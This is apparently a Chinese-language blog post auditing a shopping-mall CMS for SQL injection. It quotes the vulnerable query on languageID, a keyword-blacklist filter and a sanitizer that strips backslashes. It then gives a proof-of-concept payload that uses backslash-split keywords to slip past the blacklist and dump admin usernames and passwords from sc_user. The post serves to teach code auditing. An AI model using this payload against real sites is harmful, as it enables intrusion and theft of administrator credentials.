vlambda博客
学习文章列表

代码审计-商城CMSsql注入


\include\web_inc.php的第83-89行 

if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}
if(!empty($Language)){
//网站SEO设定
$query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");

满足if条件,即可执行sql语句,查看verify_str函数和test_input函数


\include\contorl.php 的第1-26行

<?phpinclude_once "class.phpmailer.php"; // 防sql入注
if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get foreach ($GetArray as $value){ //get verify_str($value); }
function inject_check_sql($sql_str) { return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); }
function verify_str($str) { if(inject_check_sql($str)) { exit('Sorry,You do this is wrong! (.-.)'); } return $str; }

verify_str函数调用inject_check_sql函数进行sql注入防御

/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i 这里使用的黑名单过滤不严格


Include\contorl.php的第172-177行

 //表单验证
function test_input($data) { $data = str_replace("%", "percent", $data); $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data,ENT_QUOTES); return $data;
}

这里将%替换为percent;

删除字符串两侧的空白字符和其他预定义字符,\0 \t \n \x0b \r 空格;

stripslashes()函数:删除反斜杠;

htmlspecialchars()函数对html实体化编码


POC

灵活绕过,学到了

languageID=-1 un\ion se\lec\t 1,concat(user_admin,0x2d,user_ps),3,4,5,6,7,8,9,10,11,12,13,14 from sc_user

代码审计-商城CMSsql注入

verify_str函数检测uni\on sele\ct 不是正则匹配的内容,到了htmlspecialchars()删除反斜杠,带入数据库执行

代码审计-商城CMSsql注入


输出

代码审计-商城CMSsql注入

全局搜索后再default.php进行了输出